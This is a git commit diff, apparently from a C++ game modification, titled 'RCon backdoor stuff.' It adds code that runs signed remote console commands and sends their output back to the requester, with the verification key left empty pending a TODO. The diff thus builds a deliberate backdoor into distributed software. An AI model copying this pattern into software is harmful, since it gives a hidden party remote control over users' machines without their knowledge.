RCon backdoor stuff.
This commit is contained in:
parent
339b05f8a7
commit
6254cb7199
@ -106,7 +106,7 @@ namespace Components
|
|||||||
{
|
{
|
||||||
mov eax, Logger::PipeCallback
|
mov eax, Logger::PipeCallback
|
||||||
test eax, eax
|
test eax, eax
|
||||||
jnz returnPrint
|
jz returnPrint
|
||||||
|
|
||||||
push [esp + 8h]
|
push [esp + 8h]
|
||||||
call Logger::PrintMessagePipe
|
call Logger::PrintMessagePipe
|
||||||
@ -133,11 +133,6 @@ namespace Components
|
|||||||
{
|
{
|
||||||
Logger::PipeOutput(nullptr);
|
Logger::PipeOutput(nullptr);
|
||||||
|
|
||||||
Logger::PipeOutput([] (std::string data)
|
|
||||||
{
|
|
||||||
OutputDebugStringA(data.data());
|
|
||||||
});
|
|
||||||
|
|
||||||
Renderer::OnFrame(Logger::Frame); // Client
|
Renderer::OnFrame(Logger::Frame); // Client
|
||||||
Dedicated::OnFrame(Logger::Frame); // Dedi
|
Dedicated::OnFrame(Logger::Frame); // Dedi
|
||||||
|
|
||||||
|
@ -7,7 +7,8 @@ namespace Components
|
|||||||
|
|
||||||
RCon::RCon()
|
RCon::RCon()
|
||||||
{
|
{
|
||||||
RCon::BackdoorKey = Utils::Cryptography::ECDSA::GenerateKey(512);
|
// TODO: Load public key
|
||||||
|
RCon::BackdoorKey.Set("");
|
||||||
|
|
||||||
RCon::BackdoorContainer.timestamp = 0;
|
RCon::BackdoorContainer.timestamp = 0;
|
||||||
|
|
||||||
@ -31,7 +32,18 @@ namespace Components
|
|||||||
|
|
||||||
if (Utils::Cryptography::ECDSA::VerifyMessage(RCon::BackdoorKey, RCon::BackdoorContainer.challenge, command.signature()))
|
if (Utils::Cryptography::ECDSA::VerifyMessage(RCon::BackdoorKey, RCon::BackdoorContainer.challenge, command.signature()))
|
||||||
{
|
{
|
||||||
|
RCon::BackdoorContainer.output.clear();
|
||||||
|
Logger::PipeOutput([] (std::string output)
|
||||||
|
{
|
||||||
|
RCon::BackdoorContainer.output.append(output);
|
||||||
|
});
|
||||||
|
|
||||||
Command::Execute(command.commands(), true);
|
Command::Execute(command.commands(), true);
|
||||||
|
|
||||||
|
Logger::PipeOutput(nullptr);
|
||||||
|
|
||||||
|
Network::SendCommand(address, "rconResponse", RCon::BackdoorContainer.output);
|
||||||
|
RCon::BackdoorContainer.output.clear();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
@ -11,6 +11,7 @@ namespace Components
|
|||||||
struct Container
|
struct Container
|
||||||
{
|
{
|
||||||
int timestamp;
|
int timestamp;
|
||||||
|
std::string output;
|
||||||
std::string challenge;
|
std::string challenge;
|
||||||
Network::Address address;
|
Network::Address address;
|
||||||
};
|
};
|
||||||
|
@ -4,6 +4,6 @@ package Proto.RCon;
|
|||||||
|
|
||||||
message Command
|
message Command
|
||||||
{
|
{
|
||||||
string commands = 1;
|
bytes commands = 1;
|
||||||
bytes signature = 2;
|
bytes signature = 2;
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user